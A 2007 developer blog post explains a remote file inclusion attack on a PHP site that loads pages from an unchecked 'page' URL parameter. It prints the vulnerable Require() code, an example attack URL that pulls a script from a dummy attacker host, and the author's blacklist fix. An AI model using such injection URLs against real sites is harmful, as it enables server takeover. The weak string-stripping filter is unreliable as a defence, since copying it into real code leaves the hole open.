Development Tips

Preventing URL Injection Attacks

By Ted Pin ⋅ October 20, 2007 ⋅  Email this post ⋅  Print this post ⋅ Post a comment

Although I was supremely irritated that someone was hacking intermz and uploading malicious files (i.e. eBay phishing files, etc) to the server, I have to give those hackers credit for the effectiveness and simplicity of their hack, what I will call a “URL injection” attack. (This differs from a SQL injection attack, which is another problem you should worry about. There is lots of good info on preventing SQL injection out there.) I am going to document how they did it here to hopefully help you web developers out there prevent this from happening to you.

First, let me briefly describe how the intermz site works. It follows a very simple “template/content” paradigm. Basically, I designed a single frame (template) that I load all other pages into (content) so that every page looks the same and if I need to make a change, I can just make it to the template and every page will reflect that change. I used a basic “page” parameter in my GET string to pass the name of the of .php file to load into the template. It works like this:

Example URL:

http://www.intermz.com/default.php?page=home

The PHP code takes the “page” parameter and:

$page = $_GET['page'];
Require($page . ‘.php’);

The jist of what the hackers did was they passed in a page parameter that was the URL of a PHP script of their own:

http://www.intermz.com/default.php?page=http://www.hackerserver123.com/maliciousCode.php?

(Note: I’ve replaced the actual hack-script URL with a dummy URL so no one will go out there and try to use it.)

What this allows them to do is run their script on my server, letting them upload and delete files on it without needing FTP access. (See screen shot below of what that looks like.) If you are a coder, you might have noticed that the Require() command above actually appends a “.php” to whatever page is passed in and that would have tried to load “…maliciousCode.php.php” which would have failed. But if you look closely, you will notice that the injected URL ends with a “?“. This is the very clever part. That means the “.php” that my Require() command appends to the URL will actually append as a perfectly legal (although unused) parameter.

So how do you stop this kind of attack?

Well, I built a filter to remove any part of the page parameter that might make it an outside URL:

$filter = array(’http://’, ‘www’, ‘.’);
$replace = array(”);
$page = str_ireplace($filter, $replace, $_GET['page']);

So far, this has stopped the hacks.

Hope this helps you guys!

Related posts: